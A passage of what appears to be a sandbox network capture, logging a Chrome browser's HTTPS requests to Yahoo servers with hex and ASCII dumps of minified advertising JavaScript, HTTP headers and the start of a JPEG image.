0:n.fireBeacon)&&d.wafer.utils.fireBeacon(o)}p?D():d.addEventListener("darlaReadyOnAsync",(function(){D()}))};var s,l,d=(function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.transformDarlaConfTo
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 6c 65 78 2e 77 2e 6d 69 6e 26 26 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 77 69 64 74 68 2e 6d 69 6e 3d 70 61 72 73 65 49 6e 74 28 53 74 72 69 6e 67 28 65 2e 66 6c 65 78 2e 77 2e 6d 69 6e 29 2c 31 30 29 29 2c 65 2e 66 6c 65 78 2e 77 2e 6d 61 78 26 26 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 77 69 64 74 68 2e 6d 61 78 3d 70 61 72 73 65 49 6e 74 28 53 74 72 69 6e 67 28 65 2e 66 6c 65 78 2e 77 2e 6d 61 78 29 2c 31 30 29 29 29 2c 65 2e 66 6c 65 78 2e 68 3f 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 68 65 69 67 68 74 3d 7b 65 6e 61 62 6c 65 64 3a 21 30 7d 2c 65 2e 66 6c 65 78 2e 68 2e 6d 69 6e 26 26 28 6f 2e 66 6c 65 78 69 62 6c 65 2e 68 65 69 67 68 74 2e 6d 69 6e 3d 70 61 72 73 65 49 6e 74 28 53 74 72 69 6e 67 28 65 2e 66 6c 65 78 2e 68 2e 6d 69 6e 29 2c 31 30 29 29 2c 65 2e Data Ascii: lex.w.min&&(o.flexible.width.min=parseInt(String(e.flex.w.min),10)),e.flex.w.max&&(o.flexible.width.max=parseInt(String(e.flex.w.max),10))),e.flex.h?(o.flexible.height={enabled:!0},e.flex.h.min&&(o.flexible.height.min=parseInt(String(e.flex.h.min),10)),e.
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 3d 69 26 26 6f 2b 31 3c 65 2e 6c 65 6e 67 74 68 3b 29 6f 2b 2b 2c 69 3d 65 2e 63 68 61 72 41 74 28 6f 29 2c 74 3d 21 30 3b 74 26 26 6f 2d 2d 7d 7d 2c 72 3d 6e 3d 3e 7b 69 66 28 6f 2b 31 3c 65 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 69 3d 65 2e 63 68 61 72 41 74 28 6f 2b 31 29 2c 6f 2b 2b 3b 69 21 3d 3d 6e 26 26 6f 2b 31 3c 65 2e 6c 65 6e 67 74 68 3b 29 74 2b 3d 69 2c 69 3d 65 2e 63 68 61 72 41 74 28 6f 2b 31 29 2c 6f 2b 2b 3b 69 21 3d 3d 6e 26 26 28 74 2b 3d 69 29 7d 7d 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 65 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 3d 65 2e 63 68 61 72 41 74 28 6f 29 2c 22 3d 22 3d 3d 3d 69 3f 28 74 26 26 28 6e 2e 70 75 73 68 28 74 29 2c 74 3d 22 22 29 2c 61 28 29 29 3a 27 22 27 3d 3d 3d 69 3f 28 74 26 26 28 6e 2e 70 75 73 68 28 74 29 2c 74 3d Data Ascii: =i&&o+1<e.length;)o++,i=e.charAt(o),t=!0;t&&o--}},r=n=>{if(o+1<e.length){for(i=e.charAt(o+1),o++;i!==n&&o+1<e.length;)t+=i,i=e.charAt(o+1),o++;i!==n&&(t+=i)}};for(o=0;o<e.length;o++)i=e.charAt(o),"="===i?(t&&(n.push(t),t=""),a()):'"'===i?(t&&(n.push(t),t=
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 44 61 72 6c 61 50 6f 73 69 74 69 6f 6e 43 6f 6e 66 54 6f 4a 61 63 29 28 6e 29 3b 6f 26 26 28 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 26 26 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 2e 68 6f 73 74 55 52 4c 7c 7c 21 67 7c 7c 28 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 7c 7c 28 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 3d 7b 68 6f 73 74 55 52 4c 3a 22 22 7d 29 2c 6f 2e 63 6c 69 65 6e 74 2e 6d 65 74 61 2e 68 6f 73 74 55 52 4c 3d 67 29 2c 28 30 2c 74 2e 75 70 64 61 74 65 52 6f 74 61 74 69 6f 6e 43 6f 6e 66 46 72 6f 6d 41 75 74 6f 45 76 65 6e 74 29 28 66 2c 65 2c 6f 2e 63 6c 69 65 6e 74 29 2c 63 2e 73 65 72 76 69 63 65 2e 70 6f 73 69 74 69 6f 6e 73 5b 65 5d 3d 6f 2e 73 65 72 76 69 63 65 2c 63 2e 63 6c 69 65 6e 74 2e 70 6f 73 69 74 69 Data Ascii: ,t.transformDarlaPositionConfToJac)(n);o&&(o.client.meta&&o.client.meta.hostURL\|\|!g\|\|(o.client.meta\|\|(o.client.meta={hostURL:""}),o.client.meta.hostURL=g),(0,t.updateRotationConfFromAutoEvent)(f,e,o.client),c.service.positions[e]=o.service,c.client.positi
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 64 61 2d 63 6f 6e 74 61 69 6e 65 72 22 29 29 26 26 28 76 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 48 74 2d 70 6c 2d 4c 44 52 42 22 29 7c 7c 76 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 29 26 26 76 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 48 74 2d 70 6c 2d 4c 44 52 42 22 2c 22 48 74 2d 70 6c 2d 4c 52 45 43 22 29 7d 76 61 72 20 6d 3d 6e 75 6c 6c 3d 3d 3d 28 6f 3d 61 2e 72 65 73 70 6f 6e 73 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 70 6f 73 69 74 69 6f 6e 73 3b 69 66 28 6d 26 26 6d 2e 4d 4f 4e 32 26 26 6d 2e 4c 52 45 43 33 26 26 6d 2e 4c 52 45 43 34 29 7b 76 61 72 20 70 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 6d 2e 4d 4f 4e 32 2e 63 6f 6e 74 Data Ascii: da-container"))&&(v.classList.contains("Ht-pl-LDRB")\|\|v.classList.contains("Ht-pl-LREC"))&&v.classList.remove("Ht-pl-LDRB","Ht-pl-LREC")}var m=null===(o=a.response)\|\|void 0===o?void 0:o.positions;if(m&&m.MON2&&m.LREC3&&m.LREC4){var p=null===(i=m.MON2.cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49825	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	533	OUT	GET /aaq/benji/benji-1.0.123.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	852	IN	HTTP/1.1 200 OK x-amz-id-2: 9uAhT7gNJE/hUaPFD/lG6LFqBg8QMxqvDLFyCmVI5KzlPMQxQhvmiGded+qZT9uTbYnkIb5lTnM= x-amz-request-id: B53CQAZHF7M4B970 Date: Wed, 10 Jan 2024 22:56:36 GMT Last-Modified: Fri, 05 Jan 2024 21:04:35 GMT ETag: "ca4bc6635b951c8514aadd1f834a61ef" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: cp2Do8jD6MQxCdc_5uvh6g7MvrPixe3W Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 45182 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1835 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 7b 62 65 6e 6a 69 3a 7b 7d 2c 67 6f 6f 67 6c 65 74 61 67 3a 7b 63 6d 64 3a 5b 5d 7d 2c 59 41 48 4f 4f 3a 7b 7d 7d 3b 5b 22 6c 6f 63 61 6c 68 6f 73 74 22 2c 22 61 6f 6c 2e 63 6f 6d 22 2c 22 61 6f 6c 2e 63 6f 2e 75 6b 22 2c 22 61 6f 6c 2e 64 65 22 2c 22 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 22 2c 22 63 72 69 63 6b 65 74 2e 79 61 68 6f 6f 2e 73 70 6f 72 74 7a 2e 69 6f 22 2c 22 65 6e 67 61 64 67 65 74 2e 63 6f 6d 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 2e 68 6b 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 2e 74 77 22 5d 2e 6d 61 70 28 28 65 Data Ascii: !function(){"use strict";const e="undefined"!=typeof window?window:{benji:{},googletag:{cmd:[]},YAHOO:{}};["localhost","aol.com","aol.co.uk","aol.de","autoblog.com","cricket.yahoo.sportz.io","engadget.com","yahoo.com","yahoo.com.hk","yahoo.com.tw"].map((e
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 79 61 68 6f 6f 2e 63 6f 6d 2f 74 61 67 2f 6f 70 75 73 2e 6a 73 22 2c 78 3d 22 73 63 72 69 70 74 22 2c 50 3d 22 66 31 30 64 35 30 39 63 2d 73 63 72 69 70 74 22 2c 46 3d 22 67 70 74 2d 74 61 67 22 2c 4c 3d 22 6f 70 75 73 2d 73 63 72 69 70 74 22 2c 6a 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 4f 3d 31 2c 4d 3d 7b 61 64 73 46 69 6e 69 73 68 50 61 72 73 65 3a 22 61 64 73 3a 66 69 6e 69 73 68 3a 70 61 72 73 65 22 2c 63 61 61 73 41 72 74 69 63 6c 65 3a 22 63 61 61 73 3a 61 72 74 69 63 6c 65 3a 69 6e 69 74 22 2c 63 61 61 73 53 69 64 65 6b 69 63 6b 3a 22 63 61 61 73 3a 73 69 64 65 6b 69 63 6b 3a 69 6e 69 74 22 2c 64 61 72 6c 61 43 6f 6d 70 6c 65 74 65 3a 22 64 61 72 6c 61 3a 63 6f 6d 70 6c 65 74 65 22 2c 77 61 66 65 72 46 65 74 63 68 3a 22 66 65 74 Data Ascii: yahoo.com/tag/opus.js",x="script",P="f10d509c-script",F="gpt-tag",L="opus-script",j="text/javascript",O=1,M={adsFinishParse:"ads:finish:parse",caasArticle:"caas:article:init",caasSidekick:"caas:sidekick:init",darlaComplete:"darla:complete",waferFetch:"fet
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2e 67 6d 61 3d 22 67 6d 61 22 2c 65 2e 69 6e 74 68 65 6b 6e 6f 77 3d 22 69 6e 74 68 65 6b 6e 6f 77 22 2c 65 2e 6c 69 66 65 73 74 79 6c 65 3d 22 6c 69 66 65 73 74 79 6c 65 22 2c 65 2e 6d 6f 6e 65 79 3d 22 6d 6f 6e 65 79 22 2c 65 2e 6d 6f 76 69 65 73 3d 22 6d 6f 76 69 65 73 22 2c 65 2e 6d 75 73 69 63 3d 22 6d 75 73 69 63 22 2c 65 2e 6e 65 77 73 3d 22 6e 65 77 73 22 2c 65 2e 72 69 76 61 6c 73 3d 22 72 69 76 61 6c 73 22 2c 65 2e 73 70 6f 72 74 73 3d 22 73 70 6f 72 74 73 22 2c 65 2e 73 74 79 6c 65 3d 22 73 74 79 6c 65 22 2c 65 2e 74 65 63 68 3d 22 74 65 63 68 22 2c 65 2e 74 65 63 68 63 72 75 6e 63 68 3d 22 74 65 63 68 63 72 75 6e 63 68 22 7d 28 57 7c 7c 28 57 3d 7b 7d 29 29 3b 63 6f 6e 73 74 20 4b 3d 22 73 63 72 69 70 74 49 64 22 2c 58 3d 60 68 74 74 70 73 3a Data Ascii: .gma="gma",e.intheknow="intheknow",e.lifestyle="lifestyle",e.money="money",e.movies="movies",e.music="music",e.news="news",e.rivals="rivals",e.sports="sports",e.style="style",e.tech="tech",e.techcrunch="techcrunch"}(W\|\|(W={}));const K="scriptId",X=`https:
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 73 22 2c 5b 57 2e 73 74 79 6c 65 5d 3a 22 79 6c 69 66 65 22 2c 5b 57 2e 74 65 63 68 5d 3a 22 79 74 65 63 68 22 7d 2c 61 65 3d 5b 22 61 62 6b 22 2c 75 2c 22 70 63 74 22 2c 22 70 64 22 2c 76 2c 22 70 74 22 2c 22 73 70 61 63 65 69 64 22 2c 22 6c 6d 73 69 64 22 2c 22 70 73 74 61 69 64 22 2c 22 6c 70 73 74 61 69 64 22 2c 22 6d 63 68 6e 6d 22 2c 22 5f 72 69 64 22 2c 22 74 69 63 6b 65 72 22 2c 22 73 69 74 65 22 2c 22 73 63 6b 22 5d 2c 63 65 3d 7b 66 65 74 63 68 4d 61 72 67 69 6e 50 65 72 63 65 6e 74 3a 2d 31 2c 6d 6f 62 69 6c 65 53 63 61 6c 69 6e 67 3a 2d 31 2c 72 65 6e 64 65 72 4d 61 72 67 69 6e 50 65 72 63 65 6e 74 3a 35 30 7d 2c 64 65 3d 22 52 45 4e 44 45 52 5f 53 55 43 43 45 45 44 45 44 22 2c 6c 65 3d 22 52 45 4e 44 45 52 5f 46 41 49 4c 45 44 22 2c 68 65 3d Data Ascii: s",[W.style]:"ylife",[W.tech]:"ytech"},ae=["abk",u,"pct","pd",v,"pt","spaceid","lmsid","pstaid","lpstaid","mchnm","_rid","ticker","site","sck"],ce={fetchMarginPercent:-1,mobileScaling:-1,renderMarginPercent:50},de="RENDER_SUCCEEDED",le="RENDER_FAILED",he=
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 29 72 65 74 75 72 6e 21 31 3b 69 66 28 21 28 28 74 3d 65 29 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 74 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 74 3b 63 6f 6e 73 74 20 69 3d 65 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 73 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 2c 6e 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 3b 69 66 28 69 2e 74 6f 70 3e 6e 7c 7c 69 2e 62 6f 74 74 6f 6d 3c 30 7c 7c 69 2e 72 69 67 68 74 3c 30 7c 7c 69 2e 6c 65 66 74 3e 73 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 6f 3d 69 2e 6c 65 66 74 3c 30 3f 31 3a 69 2e 6c 65 66 74 2b 31 2c 72 3d 69 2e 72 69 67 Data Ascii: )return!1;if(!((t=e).offsetWidth\|\|t.offsetHeight\|\|t.getClientRects().length))return!1;var t;const i=e.getBoundingClientRect(),s=window.innerWidth,n=window.innerHeight;if(i.top>n\|\|i.bottom<0\|\|i.right<0\|\|i.left>s)return!1;const o=i.left<0?1:i.left+1,r=i.rig
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 6f 69 64 20 30 3d 3d 3d 6f 3f 69 2e 70 75 73 68 28 65 2e 73 74 6f 72 65 2e 67 65 74 41 64 43 6f 6d 70 6f 6e 65 6e 74 42 79 49 64 28 6e 29 29 3a 61 26 26 69 2e 70 75 73 68 28 65 2e 73 74 6f 72 65 2e 67 65 74 41 64 43 6f 6d 70 6f 6e 65 6e 74 28 6e 2c 6f 29 29 7d 29 29 2c 69 7d 63 6f 6e 73 74 20 76 65 3d 28 65 2c 74 29 3d 3e 7b 69 66 28 65 26 26 65 2e 69 6e 63 6c 75 64 65 73 28 22 24 7b 22 29 29 7b 63 6f 6e 73 74 20 69 3d 22 79 68 70 22 2c 73 3d 74 2e 72 65 67 69 6f 6e 2c 6e 3d 74 2e 73 69 74 65 2c 6f 3d 72 65 5b 6e 5d 7c 7c 69 3b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 5c 24 7b 52 45 47 49 4f 4e 7d 2f 67 2c 73 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 2e 72 65 70 6c 61 63 65 28 2f 5c 24 7b 53 49 54 45 7d 2f 67 2c 6f 29 7d 72 65 74 75 72 6e Data Ascii: oid 0===o?i.push(e.store.getAdComponentById(n)):a&&i.push(e.store.getAdComponent(n,o))})),i}const ve=(e,t)=>{if(e&&e.includes("${")){const i="yhp",s=t.region,n=t.site,o=re[n]\|\|i;return e.replace(/\${REGION}/g,s.toLowerCase()).replace(/\${SITE}/g,o)}return
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 74 3d 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 48 2e 75 73 65 72 41 63 74 69 6f 6e 29 3b 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 74 29 7d 29 2c 32 30 30 29 3b 63 6f 6e 73 74 20 7a 65 3d 7b 7d 2c 78 65 3d 7b 7d 2c 50 65 3d 7b 7d 2c 46 65 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 4c 65 28 29 7b 74 68 69 73 2e 67 70 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 44 2e 69 6d 70 72 65 73 73 69 6f 6e 56 69 65 77 61 62 6c 65 2c 28 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 2e 73 6c 6f 74 2e 67 65 74 53 6c 6f 74 45 6c 65 6d 65 6e 74 49 64 28 29 2c 69 3d 78 65 5b 74 5d 3b 69 26 26 69 28 29 7d 29 29 2c 74 68 69 73 2e 67 70 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 44 2e 73 6c Data Ascii: ((function(){const t=new CustomEvent(H.userAction);e.dispatchEvent(t)}),200);const ze={},xe={},Pe={},Fe=[];function Le(){this.gpt.addEventListener(D.impressionViewable,(e=>{const t=e.slot.getSlotElementId(),i=xe[t];i&&i()})),this.gpt.addEventListener(D.sl
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 65 77 28 29 26 26 74 68 69 73 2e 72 65 66 72 65 73 68 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 29 7b 74 68 69 73 2e 69 73 49 6e 56 69 65 77 28 29 26 26 28 74 68 69 73 2e 74 69 6d 65 72 3f 2e 73 74 61 72 74 28 29 2c 74 68 69 73 2e 72 65 66 72 65 73 68 28 29 29 7d 63 6c 61 73 73 20 55 65 7b 63 6f 6e 74 61 69 6e 65 72 4d 61 70 3b 65 6c 69 67 69 62 6c 65 46 6f 72 54 69 6d 65 64 52 65 66 72 65 73 68 3b 66 65 61 74 75 72 65 73 3b 67 70 74 43 6f 6d 70 6f 6e 65 6e 74 3b 67 70 74 53 65 74 74 69 6e 67 3b 70 61 74 68 3b 73 69 7a 65 3b 69 64 3b 69 73 45 64 67 65 54 6f 45 64 67 65 3b 6b 76 73 3b 6d 65 74 72 69 63 73 3b 6e 74 73 46 61 6c 6c 42 61 63 6b 3b 72 65 66 72 65 73 68 43 6f 6e 66 69 67 3b 72 65 67 69 6f 6e 3b 73 6c 6f 74 3b 73 74 61 63 6b 47 72 6f 75 70 3b Data Ascii: ew()&&this.refresh()}function De(){this.isInView()&&(this.timer?.start(),this.refresh())}class Ue{containerMap;eligibleForTimedRefresh;features;gptComponent;gptSetting;path;size;id;isEdgeToEdge;kvs;metrics;ntsFallBack;refreshConfig;region;slot;stackGroup;
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 3e 74 68 69 73 2e 72 65 66 72 65 73 68 28 29 29 29 3a 74 68 69 73 2e 72 65 66 72 65 73 68 28 29 3a 74 68 69 73 2e 65 6c 69 67 69 62 6c 65 46 6f 72 54 69 6d 65 64 52 65 66 72 65 73 68 3d 21 30 7d 2c 7b 64 75 72 61 74 69 6f 6e 3a 74 7d 3d 74 68 69 73 2e 72 65 66 72 65 73 68 43 6f 6e 66 69 67 3b 74 68 69 73 2e 74 69 6d 65 72 3d 6e 65 77 20 4f 65 28 7b 61 63 74 69 6f 6e 3a 65 2e 62 69 6e 64 28 74 68 69 73 29 2c 64 75 72 61 74 69 6f 6e 3a 74 7d 29 7d 74 68 69 73 2e 64 69 73 61 62 6c 65 52 65 66 72 65 73 68 3d 69 2c 74 68 69 73 2e 73 74 6f 72 65 2e 61 64 64 28 64 2c 6c 2c 74 68 69 73 29 7d 64 65 73 74 72 6f 79 28 29 7b 74 68 69 73 2e 5f 75 6e 6c 6f 61 64 48 61 6e 64 6c 65 72 28 29 2c 74 68 69 73 2e 74 69 6d 65 72 26 26 28 74 68 69 73 2e 74 69 6d 65 72 2e 73 74 Data Ascii: >this.refresh())):this.refresh():this.eligibleForTimedRefresh=!0},{duration:t}=this.refreshConfig;this.timer=new Oe({action:e.bind(this),duration:t})}this.disableRefresh=i,this.store.add(d,l,this)}destroy(){this._unloadHandler(),this.timer&&(this.timer.st
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 7a 65 73 28 29 3b 6c 65 74 20 67 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 68 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 63 6f 6e 73 74 20 74 3d 68 5b 65 5d 3b 69 66 28 74 2e 68 65 69 67 68 74 3d 3d 3d 64 26 26 74 2e 77 69 64 74 68 3d 3d 3d 6c 29 7b 67 3d 5b 74 2e 77 69 64 74 68 2c 74 2e 68 65 69 67 68 74 5d 3b 62 72 65 61 6b 7d 7d 69 66 28 76 6f 69 64 20 30 3d 3d 3d 67 29 72 65 74 75 72 6e 20 76 6f 69 64 20 65 2e 67 70 74 43 6f 6d 70 6f 6e 65 6e 74 2e 72 65 66 72 65 73 68 28 5b 65 2e 73 6c 6f 74 5d 29 3b 69 66 28 65 2e 73 69 7a 65 3d 67 2c 65 2e 69 73 45 64 67 65 54 6f 45 64 67 65 7c 7c 28 6e 2e 73 74 79 6c 65 2e 6d 69 6e 48 65 69 67 68 74 3d 60 24 7b 64 7d 70 78 60 29 2c 69 3f 2e 65 6e 61 62 6c 65 53 69 7a 65 4d 61 70 70 69 6e 67 29 72 65 74 75 72 6e 20 Data Ascii: zes();let g;for(let e=0;e<h.length;e++){const t=h[e];if(t.height===d&&t.width===l){g=[t.width,t.height];break}}if(void 0===g)return void e.gptComponent.refresh([e.slot]);if(e.size=g,e.isEdgeToEdge\|\|(n.style.minHeight=`${d}px`),i?.enableSizeMapping)return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49826	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	519	OUT	GET /uu/api/res/1.2/74A7rwpEL9hbN4ZMvCarVw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/e626f1854c69d9a3bc93e631b399a4e6.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	1291	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 294713629682154840156129247645992076780,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="e626f1854c69d9a3bc93e631b399a4e6.webp" Edge-Cache-Tag: 294713629682154840156129247645992076780,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "ff84789d6500281b8bcdf968c35d2202" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 22:15:30 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=12346,owidth=1692,oheight=1128,obytes=401824,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:18:23 GMT X-Served-By: cache-iad-kjyo7100155-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704928703.315049,VS0,VE1 Age: 527 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-iad-kjyo7100155-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 39499 Connection: close
2024-01-10 23:27:10 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 01 d8 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: JFIFICC_PROFILE0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: a8 f9 99 cf 6a a6 c6 3a 2b 68 7a 3b e9 7c e4 56 16 d2 2a 3e fe 12 d7 5f a5 21 47 aa 8a 69 52 50 15 85 73 4f ea 47 92 1b 54 50 cc 71 2e 3e a2 9c d7 5d a6 80 a2 04 8d c8 ad 85 d1 2f a6 52 5c ff 00 7b e9 49 ec 74 65 6c 22 94 73 59 6f b1 54 13 59 d5 d4 13 f2 15 a7 aa 6a 6b 16 ca ae 97 55 0e 11 cf 15 ba bf 68 36 e9 9e 7a 56 76 c8 33 c5 71 59 13 ed 9e 23 af 9a 04 dd 15 67 89 a0 d1 07 95 74 78 fa ac 8f 1f 55 8f 33 ea f0 3a b1 15 e2 c2 89 c5 44 95 c5 92 bb 3b 5b f4 78 16 c5 d8 e0 f6 fd 52 3f 9d 7c 13 e3 14 fe a5 9f 40 f0 d3 54 70 25 7d 04 f9 99 f5 78 94 e8 5d 78 21 f6 71 bd 78 b2 2e ac 4c 97 96 14 06 d5 68 f6 1a 10 b2 f2 6c 4f 29 09 58 1b 67 06 ba ff 00 15 cd 00 d8 89 51 27 91 5d a6 9b b3 2b 22 a1 94 f2 2b a1 d7 5c 02 5d 12 5a ed f7 ad 4d 74 5e 08 b2 67 e0 4d 69 Data Ascii: 